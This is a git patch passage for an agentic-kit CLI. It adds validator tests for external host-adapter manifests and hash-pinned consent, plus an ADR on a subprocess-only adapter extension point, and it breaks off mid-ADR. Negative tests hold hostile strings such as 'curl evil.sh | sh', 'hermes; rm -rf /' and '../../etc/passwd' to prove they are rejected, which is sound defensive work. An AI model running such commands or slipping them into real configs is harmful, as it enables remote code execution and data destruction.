assert.equal(result.exitCode, 7); +}); + +// --- consent.mjs ----------------------------------------------------------- + +function sandboxFile() { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-adapter-consent-')); + return path.join(dir, 'nested', 'adapter-consent.json'); +} + +test('recordConsent then isTrusted with the same hash is trusted', () => { + const file = sandboxFile(); + recordConsent('my-adapter', 'sha256:abc123', { file }); + assert.equal(isTrusted('my-adapter', 'sha256:abc123', { file }), true); + assert.equal(recordedHashFor('my-adapter', { file }), 'sha256:abc123'); + fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); +}); + +test('a different hash (edited adapter) is untrusted', () => { + const file = sandboxFile(); + recordConsent('my-adapter', 'sha256:abc123', { file }); + assert.equal(isTrusted('my-adapter', 'sha256:def456', { file }), false); + fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); +}); + +test('revokeConsent removes trust', () => { + const file = sandboxFile(); + recordConsent('my-adapter', 'sha256:abc123', { file }); + assert.equal(revokeConsent('my-adapter', { file }), true); + assert.equal(isTrusted('my-adapter', 'sha256:abc123', { file }), false); + assert.equal(recordedHashFor('my-adapter', { file }), null); + assert.equal(revokeConsent('my-adapter', { file }), false, 'revoking again finds nothing to remove'); + fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); +}); + +test('the consent file is written with mode 0600', () => { + const file = sandboxFile(); + recordConsent('my-adapter', 'sha256:abc123', { file }); + const mode = fs.statSync(file).mode & 0o777; + assert.equal(mode, 0o600); + fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); +}); + +test('a missing consent file returns null/false without throwing', () => { + const file = path.join(os.tmpdir(), `ak-adapter-consent-missing-${process.pid}-${Date.now()}.json`); + assert.equal(recordedHashFor('my-adapter', { file }), null); + assert.equal(isTrusted('my-adapter', 'sha256:abc123', { file }), false); +}); + +test('adapterConsentPath resolves under the kit config dir', () => { + assert.ok(adapterConsentPath().endsWith(path.join('agentic-kit', 'adapter-consent.json'))); +}); diff --git a/tests/kit/adapter-manifest.test.mjs b/tests/kit/adapter-manifest.test.mjs new file mode 100644 index 0000000..33ca128 --- /dev/null +++ b/tests/kit/adapter-manifest.test.mjs @@ -0,0 +1,283 @@ +// Adapter Contract Dossier — schema layer. Every structural cap must reject +// a manifest at validation time (ineligible claims are INEXPRESSIBLE), each +// with a distinguishable `.reason`, never merely at some later runtime check. +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { + validateAdapterManifest, DRIVING_SURFACES, MANIFEST_TRUST_KINDS, ManifestRejected, +} from '../../src/lib/adapters/manifest.mjs'; + +function validHost(overrides = {}) { + return { + id: 'hermes', + label: 'Hermes', + install: { bin: 'hermes', externalInstallPolicy: 'detect-never-overwrite' }, + capabilities: { + canDriveSession: true, canBePrimary: false, canRouteActivities: true, + commandStatusline: false, transcripts: true, usage: false, + nativeMcpConfig: false, nativeGuidance: false, + }, + trust: { approvalPolicy: 'unchanged', changes: [] }, + enabledByDefault: false, + configProjection: 'ruflo', + observability: [], + ...overrides, + }; +} + +function validManifest(overrides = {}) { + return { + name: 'hermes', + version: '1.0.0', + contract: 1, + host: validHost(), + detection: { bin: 'hermes', versionArgs: ['--version'], versionPattern: '\\d+\\.\\d+\\.\\d+' }, + driving: { surfaces: ['acp'] }, + trust: { + changes: [{ + id: 'hermes-subprocess-hooks', kind: 'third-party-adapter', scope: 'project', + owner: 'hermes', value: 'subprocess hooks', effect: 'run consented lifecycle hooks for hermes', + }], + }, + ...overrides, + }; +} + +function rejects(value, reason) { + assert.throws(() => validateAdapterManifest(value), (error) => { + assert.ok(error instanceof ManifestRejected, `expected ManifestRejected, got ${error?.constructor?.name}`); + assert.equal(error.reason, reason, `expected reason '${reason}', got '${error.reason}': ${error.message}`); + return true; + }); +} + +test('accepts a minimal valid manifest and returns a frozen copy', () => { + const manifest = validateAdapterManifest(validManifest()); + assert.equal(manifest.name, 'hermes'); + assert.equal(manifest.contract, 1); + assert.equal(manifest.host.id, 'hermes'); + assert.ok(Object.isFrozen(manifest)); + assert.ok(Object.isFrozen(manifest.host)); + assert.ok(Object.isFrozen(manifest.detection)); +}); + +test('accepts an optional lifecycle block naming real verbs', () => { + const manifest = validateAdapterManifest(validManifest({ + lifecycle: { detect: { hook: { command: ['hermes', 'detect'], timeoutMs: 5000 } } }, + })); + assert.deepEqual(manifest.lifecycle.detect.hook.command, ['hermes', 'detect']); +}); + +test('omits lifecycle entirely when the manifest declares none', () => { + const manifest = validateAdapterManifest(validManifest()); + assert.equal('lifecycle' in manifest, false); +}); + +test('DRIVING_SURFACES names the current driving vocabulary', () => { + assert.deepEqual([...DRIVING_SURFACES], ['cli-subprocess', 'acp', 'mcp']); +}); + +test('MANIFEST_TRUST_KINDS is the manifest-scoped trust vocabulary', () => { + assert.deepEqual([...MANIFEST_TRUST_KINDS], ['third-party-adapter']); +}); + +// ── structural caps ───────────────────────────────────────────────────────── + +test('cap: host.capabilities.canBePrimary:true is rejected, named reason', () => { + rejects(validManifest({ host: validHost({ capabilities: { ...validHost().capabilities, canBePrimary: true } }) }), 'cap-can-be-primary'); +}); + +test('cap: host.capabilities.commandStatusline:true is rejected, named reason', () => { + rejects(validManifest({ host: validHost({ capabilities: { ...validHost().capabilities, commandStatusline: true } }) }), 'cap-command-statusline'); +}); + +test('cap: a non-null host.legacy.aqeProvider is rejected, named reason', () => { + rejects(validManifest({ host: validHost({ legacy: { aqeProvider: 'claude-code' } }) }), 'cap-aqe-provider'); +}); + +test('cap: host.legacy.aqeProvider: null is accepted (the honest default)', () => { + const manifest = validateAdapterManifest(validManifest({ host: validHost({ legacy: { aqeProvider: null } }) })); + assert.equal(manifest.host.legacy.aqeProvider, null); +}); + +test('cap: guidanceFile path traversal is rejected at schema level, named reason', () => { + rejects(validManifest({ host: validHost({ legacy: { guidanceFile: '../../etc/passwd' } }) }), 'invalid-guidance-file'); +}); + +test('cap: a slug-shaped guidanceFile is accepted', () => { + const manifest = validateAdapterManifest(validManifest({ host: validHost({ legacy: { guidanceFile: 'hermes-guidance' } }) })); + assert.equal(manifest.host.legacy.guidanceFile, 'hermes-guidance'); +}); + +// ── general structural validation ─────────────────────────────────────────── + +test('manifest.name must be id-shaped', () => { + rejects(validManifest({ name: 'Hermes CLI!' }), 'invalid-id'); +}); + +test('manifest.version must be semver', () => { + rejects(validManifest({ version: 'v1' }), 'invalid-version'); +}); + +test('manifest.contract must be a positive integer', () => { + rejects(validManifest({ contract: 0 }), 'invalid-contract'); + rejects(validManifest({ contract: '1' }), 'invalid-contract'); +}); + +test('an invalid host sub-object is rejected with the wrapped host error', () => { + rejects(validManifest({ host: { ...validHost(), install: undefined } }), 'invalid-host'); +}); + +test('detection.bin must be id-shaped (rejects shell-metacharacter payloads)', () => { + rejects(validManifest({ detection: { bin: 'hermes; rm -rf /' } }), 'invalid-detection'); +}); + +test('detection.versionPattern must be a valid regular expression source', () => { + rejects(validManifest({ detection: { bin: 'hermes', versionPattern: '(unterminated' } }), 'invalid-detection'); +}); + +test('driving.surfaces rejects an unknown surface', () => { + rejects(validManifest({ driving: { surfaces: ['telepathy'] } }), 'invalid-driving-surfaces'); +}); + +test('driving.surfaces rejects an empty array', () => { + rejects(validManifest({ driving: { surfaces: [] } }), 'invalid-driving-surfaces'); +}); + +test('lifecycle rejects an unknown verb key', () => { + rejects(validManifest({ lifecycle: { launch: { hook: { command: ['hermes'] } } } }), 'invalid-lifecycle-verb'); +}); + +test('lifecycle rejects a hook with an empty command array', () => { + rejects(validManifest({ lifecycle: { detect: { hook: { command: [] } } } }), 'invalid-lifecycle-hook'); +}); + +test('lifecycle rejects a non-positive hook timeoutMs', () => { + rejects(validManifest({ lifecycle: { detect: { hook: { command: ['hermes'], timeoutMs: 0 } } } }), 'invalid-lifecycle-hook'); +}); + +test('trust.changes rejects a change missing required fields', () => { + rejects(validManifest({ trust: { changes: [{ id: 'x', kind: 'third-party-adapter', scope: 'project' }] } }), 'invalid-trust'); +}); + +test('trust.changes rejects an unknown kind', () => { + rejects(validManifest({ trust: { changes: [{ id: 'x', kind: 'auto-approve', scope: 'project', owner: 'a', value: 'b', effect: 'c' }] } }), 'invalid-trust'); +}); + +test('trust.changes rejects a duplicate id', () => { + rejects(validManifest({ + trust: { + changes: [ + { id: 'dup', kind: 'third-party-adapter', scope: 'project', owner: 'a', value: 'b', effect: 'c' }, + { id: 'dup', kind: 'third-party-adapter', scope: 'project', owner: 'a', value: 'b', effect: 'c' }, + ], + }, + }), 'invalid-trust'); +}); + +// ── P0-A: strict allowlists (Wave 4 security remediation) ────────────────── +// Before this fix, an unrecognized TOP-LEVEL key was silently DROPPED (not +// rejected) before hashing — so a consent hash could cover content the +// operator never reviewed — and unrecognized NESTED keys under host/ +// host.install/host.legacy survived verbatim (those sub-validators +// structuredClone the whole input). Every case below must now be REFUSED, +// not silently dropped or passed through. + +test('unknown-field: an extraneous top-level key is refused, not silently dropped', () => { + rejects(validManifest({ postInstall: 'curl evil.sh | sh' }), 'unknown-field'); +}); + +test('unknown-field: an extraneous host key is refused, not silently passed through', () => { + rejects(validManifest({ host: { ...validHost(), evilField: { rce: true } } }), 'unknown-field'); +}); + +test('unknown-field: an extraneous host.install key is refused', () => { + rejects(validManifest({ + host: validHost({ install: { bin: 'hermes', externalInstallPolicy: 'detect-never-overwrite', rce: true } }), + }), 'unknown-field'); +}); + +test('unknown-field: an extraneous host.legacy key is refused (not merely an unused one)', () => { + rejects(validManifest({ host: validHost({ legacy: { evilField: 'rce' } }) }), 'unknown-field'); +}); + +test('external-npm-package: host.install.npmPackage is forbidden for an external adapter', () => { + rejects(validManifest({ + host: validHost({ install: { bin: 'hermes', npmPackage: 'evil-pkg', externalInstallPolicy: 'detect-never-overwrite' } }), + }), 'external-npm-package'); +}); + +test('invalid-install-bin: an absolute path is rejected', () => { + rejects(validManifest({ + host: validHost({ install: { bin: '/abs/evil', externalInstallPolicy: 'detect-never-overwrite' } }), + }), 'invalid-install-bin'); +}); + +test('invalid-install-bin: a path-traversal token is rejected', () => { + rejects(validManifest({ + host: validHost({ install: { bin: '../../x', externalInstallPolicy: 'detect-never-overwrite' } }), + }), 'invalid-install-bin'); +}); + +test('legitimate legacy fields (the built-ins actually use) still round-trip', () => { + const manifest = validateAdapterManifest(validManifest({ + host: validHost({ + legacy: { + guidanceFile: 'hermes-guidance', configFormat: 'json', + statusline: { mode: 'builtin' }, aqeProvider: null, envMarkers: ['HERMES_SESSION'], enableEnv: 'ENABLE_HERMES', + }, + }), + })); + assert.equal(manifest.host.legacy.enableEnv, 'ENABLE_HERMES'); + assert.deepEqual(manifest.host.legacy.envMarkers, ['HERMES_SESSION']); +}); + +test('a legitimate host.auth block still round-trips (a real downstream reader, hosts.mjs)', () => { + const manifest = validateAdapterManifest(validManifest({ + host: validHost({ auth: { apiKeyEnv: ['HERMES_API_KEY'], loginFile: ['.hermes', 'auth.json'], keyOverridesLogin: false } }), + })); + assert.deepEqual(manifest.host.auth.apiKeyEnv, ['HERMES_API_KEY']); +}); + +test('the real acme fixture manifest still admits after the allowlist tightening', () => { + const fixture = JSON.parse(fs.readFileSync( + path.join(path.dirname(fileURLToPath(import.meta.url)), '../fixtures/adapters/acme/manifest.json'), + 'utf8', + )); + const manifest = validateAdapterManifest(fixture); + assert.equal(manifest.host.id, 'acme'); +}); + +// ── Completeness: the allowlist is uniform across every sub-structure, so the +// "structural caps are inexpressible" property holds at every level, not just +// top-level and host (lead's post-review hardening). ── +test('unknown-field: an extraneous detection key is refused', () => { + rejects(validManifest({ detection: { bin: 'hermes', evilProbe: 'x' } }), 'unknown-field'); +}); + +test('unknown-field: an extraneous driving key is refused', () => { + rejects(validManifest({ driving: { surfaces: ['acp'], escalate: true } }), 'unknown-field'); +}); + +test('unknown-field: an extraneous lifecycle hook key is refused', () => { + rejects(validManifest({ + lifecycle: { detect: { hook: { command: ['hermes', 'detect'], cwd: '/tmp' } } }, + }), 'unknown-field'); +}); + +test('unknown-field: an extraneous trust-change key is refused', () => { + rejects(validManifest({ + trust: { changes: [{ + id: 'x', kind: 'third-party-adapter', scope: 'project', + owner: 'h', value: 'v', effect: 'e', escalate: true, + }] }, + }), 'unknown-field'); +}); + +test('unknown-field: an extra or miscased capability key cannot ride along inert', () => { + rejects(validManifest({ host: validHost({ capabilities: { ...validHost().capabilities, CanBePrimary: true } }) }), 'unknown-field'); + rejects(validManifest({ host: validHost({ capabilities: { ...validHost().capabilities, ADMIN: true } }) }), 'unknown-field'); +}); diff --git a/tests/kit/execution-runner.test.mjs b/tests/kit/execution-runner.test.mjs index ef35de9..8cca879 100644 --- a/tests/kit/execution-runner.test.mjs +++ b/tests/kit/execution-runner.test.mjs @@ -1,6 +1,7 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; import { EXECUTION_ADAPTERS, assertBuiltinAdaptersRoutable, executionAdapterFor } from '../../src/lib/execution/adapters.mjs'; +import { applyAdmitted, resetAdmitted } from '../../src/lib/adapters/admitted.mjs'; import { executeRunPlan } from '../../src/lib/execution/runner.mjs'; const worker = (id, host = 'opencode', dependsOn) => ({ id, activity: 'implementation', role: 'coder', host, prompt: id, ...(dependsOn ? { dependsOn } : {}) }); @@ -492,6 +493,30 @@ test('executionAdapterFor resolves built-ins identically to the old map, and nul assert.equal(executionAdapterFor('future-host'), null); }); +// P2 finding 10: executionAdapterFor used to have a dead branch +// (`if (admittedHostIds().includes(hostId)) return null;`) that returned +// null either way — same as the fallthrough below it. Pinning that removing +// it changed no observable behavior: an admitted host still resolves to +// null (admitted hosts have no execution adapter this wave, full stop). +test('executionAdapterFor returns null for an admitted host id too (no execution adapter this wave)', () => { + applyAdmitted([{ + entry: { + id: 'admitted-probe', label: 'Probe', install: { bin: 'admitted-probe', externalInstallPolicy: 'detect-never-overwrite' }, + capabilities: { + canDriveSession: true, canBePrimary: false, canRouteActivities: false, + commandStatusline: false, transcripts: false, usage: false, nativeMcpConfig: false, nativeGuidance: false, + }, + trust: { approvalPolicy: 'unchanged', changes: [] }, + enabledByDefault: false, configProjection: 'ruflo', observability: [], + }, + }]); + try { + assert.equal(executionAdapterFor('admitted-probe'), null); + } finally { + resetAdmitted(); + } +}); + // #88 (amended W1-B): a routed plan naming a host with no built-in adapter // degrades that one worker instead of crashing the run. This is the SAME // code path as "runner reports an unknown host without attempting a diff --git a/tests/kit/lifecycle-registry.test.mjs b/tests/kit/lifecycle-registry.test.mjs index d90e38d..ded2a83 100644 --- a/tests/kit/lifecycle-registry.test.mjs +++ b/tests/kit/lifecycle-registry.test.mjs @@ -11,11 +11,14 @@ import fs from 'node:fs'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { - registerBuiltinLifecycle, lifecycleAdapterFor, hostsWithLifecycle, + registerBuiltinLifecycle, registerAdmittedLifecycle, lifecycleAdapterFor, + hostsWithLifecycle, builtinHostsWithLifecycle, } from '../../src/lib/adapters/lifecycle-registry.mjs'; import { OPENCODE_LIFECYCLE_ADAPTER } from '../../src/lib/opencode.mjs'; import { validateLifecycleAdapter } from '../../src/lib/adapters/lifecycle.mjs'; import { HOST_REGISTRY } from '../../src/lib/adapters/index.mjs'; +import { validateAdapterManifest } from '../../src/lib/adapters/manifest.mjs'; +import { applyAdmitted, resetAdmitted } from '../../src/lib/adapters/admitted.mjs'; import { fakeLifecycleAdapter, fakeSurface } from './helpers/lifecycle-harness.mjs'; const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); @@ -84,3 +87,75 @@ for (const rel of [ `${rel} must reach opencode's lifecycle adapter via lifecycleAdapterFor(...), not a named import`); }); } + +for (const rel of ['commands/sync.mjs', 'commands/setup.mjs', 'commands/uninstall.mjs']) { + test(`${rel} loops builtinHostsWithLifecycle(), not hostsWithLifecycle() (Wave 4 P1: armed opencode-shaped-loop crash)`, () => { + const text = src(rel); + assert.ok(text.includes('builtinHostsWithLifecycle'), + `${rel}'s lifecycle loop must use builtinHostsWithLifecycle() — its loop body destructures an opencode-shaped result and would crash on a non-opencode admitted host`); + }); +} + +// ── P1: the armed opencode-shaped-loop crash ──────────────────────────────── +// setup.mjs/sync.mjs/uninstall.mjs's lifecycle loops destructure an +// opencode-shaped result (stack.oc / ret.undo / ret.artifacts). Today only +// opencode is registered, so that's unreachable — but registerAdmittedLifecycle +// exists precisely to admit a non-opencode-shaped host's lifecycle adapter, +// and hostsWithLifecycle() (a pure effectiveHostRegistry() query) would then +// include it too, handing that host straight into the shape-dependent loops. +// builtinHostsWithLifecycle() must stay built-ins-only regardless. +test('builtinHostsWithLifecycle() excludes an admitted external host even after its lifecycle is registered', () => { + const hostId = 'hermes-lifecycle-probe'; + const host = { + id: hostId, + label: 'Hermes', + install: { bin: hostId, externalInstallPolicy: 'detect-never-overwrite' }, + capabilities: { + canDriveSession: true, canBePrimary: false, canRouteActivities: true, + commandStatusline: false, transcripts: true, usage: false, + nativeMcpConfig: false, nativeGuidance: false, + }, + trust: { approvalPolicy: 'unchanged', changes: [] }, + enabledByDefault: false, + configProjection: 'ruflo', + observability: [], + }; + const manifest = validateAdapterManifest({ + name: hostId, + version: '1.0.0', + contract: 1, + host, + detection: { bin: hostId }, + driving: { surfaces: ['acp'] }, + lifecycle: { detect: { hook: { command: [hostId, 'detect'] } } }, + trust: { + changes: [{ + id: 'hermes-subprocess-hooks', kind: 'third-party-adapter', scope: 'project', + owner: 'hermes', value: 'subprocess hooks', effect: 'run consented lifecycle hooks for hermes', + }], + }, + }); + + // Baseline BEFORE admitting anything — not a literal ['opencode'], because + // an earlier test in this same file (registerBuiltinLifecycle('claude', ...)) + // mutates the real, process-shared LIFECYCLE_ADAPTERS map too. The + // invariant under test is "unaffected by registering an external", so + // compare against a live before/after snapshot instead of a hardcoded list. + const before = builtinHostsWithLifecycle(); + + applyAdmitted([{ entry: host }]); + try { + registerAdmittedLifecycle(manifest, { runHook: async () => ({ ok: true, stdout: '{}', exitCode: 0 }) }); + + assert.ok(hostsWithLifecycle().includes(hostId), + 'sanity: the pure registry query DOES see the admitted, lifecycle-registered host'); + assert.ok( + !builtinHostsWithLifecycle().includes(hostId), + 'the setup/sync/uninstall-facing function must never include an admitted external, even once its lifecycle is registered', + ); + assert.deepEqual(builtinHostsWithLifecycle(), before, + 'builtinHostsWithLifecycle() must be unaffected by registering an external lifecycle adapter'); + } finally { + resetAdmitted(); + } +}); diff --git a/tests/kit/settings-config.test.mjs b/tests/kit/settings-config.test.mjs index 070dbc6..64fb11d 100644 --- a/tests/kit/settings-config.test.mjs +++ b/tests/kit/settings-config.test.mjs @@ -127,10 +127,13 @@ function captureConsole(fn) { test('loadKitConfig warns once on an unrecognized top-level key, naming it', () => { const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-cfg-unknown-')); const f = tmpFile(tmp, 'kit.json'); - fs.writeFileSync(f, JSON.stringify({ hostAdapters: { foo: true } })); + // NOT `hostAdapters` — Wave 4 (adapter door) recognizes that key now + // (src/lib/config.mjs DEFAULTS.hostAdapters), so it's a poor example of an + // unrecognized one. Any still-genuinely-unknown key exercises the same path. + fs.writeFileSync(f, JSON.stringify({ someUnknownFutureKey: { foo: true } })); const { errLines } = captureConsole(() => loadKitConfig(f)); assert.equal(errLines.length, 1); - assert.match(errLines[0], /hostAdapters/); + assert.match(errLines[0], /someUnknownFutureKey/); assert.match(errLines[0], /not recognized/); fs.rmSync(tmp, { recursive: true, force: true }); }); From b3cf2636b3290f0eb6f641331b67c2c3715e5513 Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 16:18:41 -0700 Subject: [PATCH 3/4] docs: ADR-0029 accepts the extension point; supersede ADR-0016's closed-registry clause MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ADR-0029 (Accepted, experimental contract) records the data-plus-hooks mechanism, credits @adrianco's PR #131 proposal and states what changed and why (grounded in the four-sweep research), carries a graded Working/Demo/TBD table, and formally supersedes ADR-0016's closed-registry clause — narrowly: kit.json may name a manifest, but nothing under it is ever imported in-process, so the clause's intent survives. PROVIDERS.md gains a brief current-state note. kit.json entry shape corrected to {name, source, contract} to match the code. --- docs/PROVIDERS.md | 24 ++ ...-capability-driven-integration-adapters.md | 11 +- docs/adr/0029-host-adapter-extension-point.md | 366 ++++++++++++++++++ docs/adr/README.md | 16 +- 4 files changed, 414 insertions(+), 3 deletions(-) create mode 100644 docs/adr/0029-host-adapter-extension-point.md diff --git a/docs/PROVIDERS.md b/docs/PROVIDERS.md index fc28830..3a22058 100644 --- a/docs/PROVIDERS.md +++ b/docs/PROVIDERS.md @@ -74,6 +74,29 @@ however the endpoint is served. `local-openai` is not an AQE provider type — ` credentials, fragments, or secret-bearing query parameters. See [ADR-0028](adr/0028-local-openai-compatible-providers.md). +## External host adapters (experimental) + +Want `ak` to manage a host CLI it doesn't ship in-tree — driving local models through something +like Hermes, say? Set `AK_EXPERIMENTAL_HOST_ADAPTERS=1` and declare it as **data**, never code: + +```json +{ + "hostAdapters": [ + { "name": "hermes", "source": "~/.config/ak/adapters/hermes.json", "contract": 1 } + ] +} +``` + +An adapter is a manifest plus a handful of subprocess hooks — nothing an adapter declares ever +runs inside the `ak` process itself. Registering one asks you to confirm a content hash of the +manifest; edit the manifest afterward and that consent is invalidated until you confirm again. A +broken adapter is reported and skipped — it never takes down the hosts that already work. + +An external adapter can never claim to be the primary host, an AQE provider, or the status-line +owner; those stay first-party. Nothing here installs itself: you declare the adapter, you consent +to it, and teardown remains reversible. See +[ADR-0029](adr/0029-host-adapter-extension-point.md). + --- ## Level 0 — do nothing (the point) @@ -368,5 +391,6 @@ just makes the good default automatic and the customization reversible. - Capability-driven integration axes, bindings, and provenance: [ADR-0016](adr/0016-capability-driven-integration-adapters.md). - The generic local OpenAI-compatible provider: [ADR-0028](adr/0028-local-openai-compatible-providers.md). +- External host adapters (experimental): [ADR-0029](adr/0029-host-adapter-extension-point.md). - Host env flags (`ENABLE_CLAUDE_CODE` / `ENABLE_CODEX`): upstream ruflo ADR-034, "Optional MCP Backends". diff --git a/docs/adr/0016-capability-driven-integration-adapters.md b/docs/adr/0016-capability-driven-integration-adapters.md index 29e0416..630ec6c 100644 --- a/docs/adr/0016-capability-driven-integration-adapters.md +++ b/docs/adr/0016-capability-driven-integration-adapters.md @@ -1,9 +1,10 @@ # ADR-0016 — Capability-driven host, provider, binding, projection, and observability adapters - **Status:** Accepted; compatibility clauses superseded by - [ADR-0020](0020-ga-stable-surfaces.md) + [ADR-0020](0020-ga-stable-surfaces.md); closed-registry clause superseded by + [ADR-0029](0029-host-adapter-extension-point.md) - **Date:** 2026-07-28 -- **Updated:** 2026-08-14 +- **Updated:** 2026-08-15 - **Update note:** Added read-only Codex plugin-hook compatibility facts, runtime-selected Ruflo project-memory store proofs, and the non-correlatable OpenRouter account-analytics boundary; removed the pre-GA compatibility command, @@ -18,6 +19,12 @@ warnings (F-16); and the integrations migrator derives each host's native default provider from the provider registry's host-login entries instead of a literal map, inferring no binding at all for hosts without one (F-13). + 2026-08-15: [ADR-0029](0029-host-adapter-extension-point.md) supersedes §1's + closed-registry requirement — the registry admits an explicitly registered, + hash-pinned, subprocess-only external host adapter behind an experimental + flag; every other property that clause protected (zero-runtime-dependency, + offline-first normal operation, no in-process third-party code) remains + intact. - **Deciders:** agentic-kit maintainers - **Related:** [ADR-0001](0001-one-routing-policy-many-projections.md), [ADR-0003](0003-auto-seed-dual-host-provenance.md), diff --git a/docs/adr/0029-host-adapter-extension-point.md b/docs/adr/0029-host-adapter-extension-point.md new file mode 100644 index 0000000..dd00f29 --- /dev/null +++ b/docs/adr/0029-host-adapter-extension-point.md @@ -0,0 +1,366 @@ +# ADR-0029 — External host adapters: declarative manifest, subprocess hooks (experimental contract) + +- **Status:** Accepted (experimental contract) +- **Date:** 2026-08-15 +- **Deciders:** agentic-kit maintainers +- **Related:** [ADR-0016](0016-capability-driven-integration-adapters.md) (closed-registry clause + superseded — see [Supersession](#supersession-of-adr-0016s-closed-registry-clause)), + [ADR-0017](0017-opencode-host.md), [ADR-0018](0018-generalized-host-worker-execution.md), + [ADR-0019](0019-escalation-in-ak-run.md), + [ADR-0023](0023-fail-closed-operations-and-explicit-degradation.md), + [ADR-0028](0028-local-openai-compatible-providers.md) + +Proposed by [@adrianco](https://github.com/adrianco) in +[PR #131](https://github.com/pacphi/agentic-kit/pull/131), as an in-process ESM module — one +manifest export, dynamically `import()`-ed from a package path named in `kit.json`, validated by +the same validators as a built-in host. **Accepted with a different mechanism**, recorded below, +after maintainer review found that shape's in-tree gate list materially incomplete and its +underlying safety premise unmet. + +## Context + +[ADR-0016](0016-capability-driven-integration-adapters.md) deliberately built a **closed** registry: +"a closed, validated registry of built-in code, not an arbitrary third-party plugin runtime." Every +host added since — OpenCode in [ADR-0017](0017-opencode-host.md) — paid that cost in full: a +dedicated owner module, native surfaces reverse-engineered from scratch, and edits across roughly a +dozen files and eight test suites. + +PR #131 named the fourth-host problem this creates: a new host is a **permanent obligation of +whoever maintains agentic-kit**, including a CLI they may not run, cannot easily verify, and did not +choose. Its own `docs/HOST-ADAPTER-EXTENSION-PROPOSAL.md` observed, correctly, that ADR-0016's own +contracts — `validateHostAdapter`, `validateLifecycleAdapter`'s five-verb +detect/plan/apply/verify/undo cycle, ownership receipts, `validateExecutionAdapter`, +`normalizedFacts` — are already host-agnostic and already partly proven: `OPENCODE_LIFECYCLE_ADAPTER` +is driven through the fully generic `runLifecycle`, not opencode-specific dispatch. The proposal's +central claim was that publishing that seam is a small last mile, not a new subsystem. + +The maintainer's review of PR #131 (posted to the PR, quoted throughout this ADR) verified that +claim on the ak side — "adapter selection is indeed a named import at the five call sites," +`status.mjs`'s hand-rolled opencode block and unguarded `npmRoot` call are as described, and the +validators are genuinely host-agnostic (a synthetic `grok` host is already exercised end-to-end +through setup disclosure in `trust-manifest.test.mjs:47-69`). It also found the in-tree gate list the +PR offered materially incomplete, and directed that any accepted design carry the honest full list +rather than the honest case-against alone. Both findings are the direct inputs to this ADR. + +## Why the mechanism changed + +PR #131's proposal was an **in-process** extension: a third party's ESM module, loaded by `import()` +and executed inside the same process as `ak` itself, gated only by explicit registration, +capability-cap fields in its declared manifest, and disclosure before mutation. Those three +constraints are real, but they only make untrusted in-process code *visible* — none of them make it +*safe*, and the evidence gathered in reviewing this proposal argues the gap is not closable by +adding more constraints of the same kind: + +1. **No host CLI ak already integrates or evaluated sandboxes or verifies extension code before + running it.** [ADR-0018](0018-generalized-host-worker-execution.md)'s own trust-boundary section + already states this of `ak run`'s built-in workers: a hostile repository's `opencode.json` or + `.claude/settings.json` pre-approves permissions and "no `permission.updated` event ever fires, + so the adapter's abort boundary does not trip by design — the abort covers permission + *requests*; it is not a sandbox." The PR #131 review independently confirmed the same shape at + the fourth host: Hermes's headless `-z` mode sets `HERMES_YOLO_MODE=1` by its own documented + contract, so there is no permission event to intercept and no `permission_required` result to + return at all. Four hosts surveyed, zero that isolate extension code from the process trusting + it — that is a precedent for the opposite of a fifth precedent, not for one. +2. **A typed capability cap is not the same thing as an enforced one, and this repository already + has the near-miss on record.** The review's own item 6 (§ "The amended gate list" below) found + that `src/lib/execution/adapters.mjs`'s routable-host invariant threw at **import time** for a + registry-only change — a schema-correct, fully first-party host flip could have bricked `ak run` + for every consumer before the corresponding execution adapter shipped. If a typed invariant on + ak's own built-in registry needed a maintainer's line-by-line review to catch, the same class of + cap expressed as a boolean field in a third party's manifest — `canBePrimary: false`, + self-declared, in code that party also controls — is not a safe place to put the only enforcement + of "this adapter may never become primary." A capability cap is only as strong as the code that + is *unable* to ignore it, and in-process code sharing ak's own call stack is never in that + position by construction. +3. **The integrity primitives this contract adopts instead already exist, tested, in the tools this + review examined.** Codex CLI's trust model for a registered MCP server pins a content hash at + approval time and invalidates that approval the instant the pinned content changes — never + re-approving silently on drift. Hermes draws the same line one level lower: interactive + `mcp add` requires an explicit confirmation before registering a server, contrasted directly + against `-z`'s blanket, event-free auto-approval the review flagged as the honest-disclosure + case in ADR-0030's own posture. Both are **consent gates outside the code being trusted**, not + capability fields inside it. That is the shape this ADR adopts: hash-pinned consent on a + manifest, invalidated the instant the manifest's content changes, enforced by `ak`'s own loader — + never by the adapter's own declaration. + +The accepted mechanism is therefore: **a declarative manifest, driving a fixed set of consented +subprocess hooks. No third-party code ever executes inside the `ak` process.** Everything the +manifest can express is data; everything the adapter *does* happens in a spawned process ak owns +the lifecycle of, exactly the way ADR-0016 §3 already bounds built-in projection network/process +probes and ADR-0018 already bounds worker subprocess termination proof. + +## Decision + +### 1. The manifest (contract: 1) + +`kit.json` gains a `hostAdapters` array. Each entry names a manifest file, never a module: + +```json +{ + "hostAdapters": [ + { + "name": "hermes", + "source": "~/.config/ak/adapters/hermes.json", + "contract": 1 + } + ] +} +``` + +The manifest itself is JSON: a host descriptor and capability block shaped like `HostAdapter` in +ADR-0016 §1 (minus the three fields capped in §3 below), plus a `hooks` block. Each hook names one +lifecycle or execution verb (`detect`, `plan`, `apply`, `verify`, `undo`, and the execution-adapter +methods when `capabilities.activityRouting` is declared) and the subprocess command that implements +it. There is no function-valued field anywhere in the manifest — every value is JSON-serializable, +which is itself part of the safety property: a manifest that cannot express a closure cannot smuggle +one in. + +### 2. Driving-surface vocabulary: `cli-subprocess` / `acp` / `mcp` + +Every declared hook names the driving surface that invokes it. Contract v1 recognizes three surface +names: + +- **`cli-subprocess`** — spawn the declared binary/script as a subprocess, apply the same bounded + timeout and honest-unreachable discipline ADR-0016 §3 already requires of built-in projection + probes, and read back either a structured JSON result (the `normalizedFacts`/`WorkerResult` shape) + or a 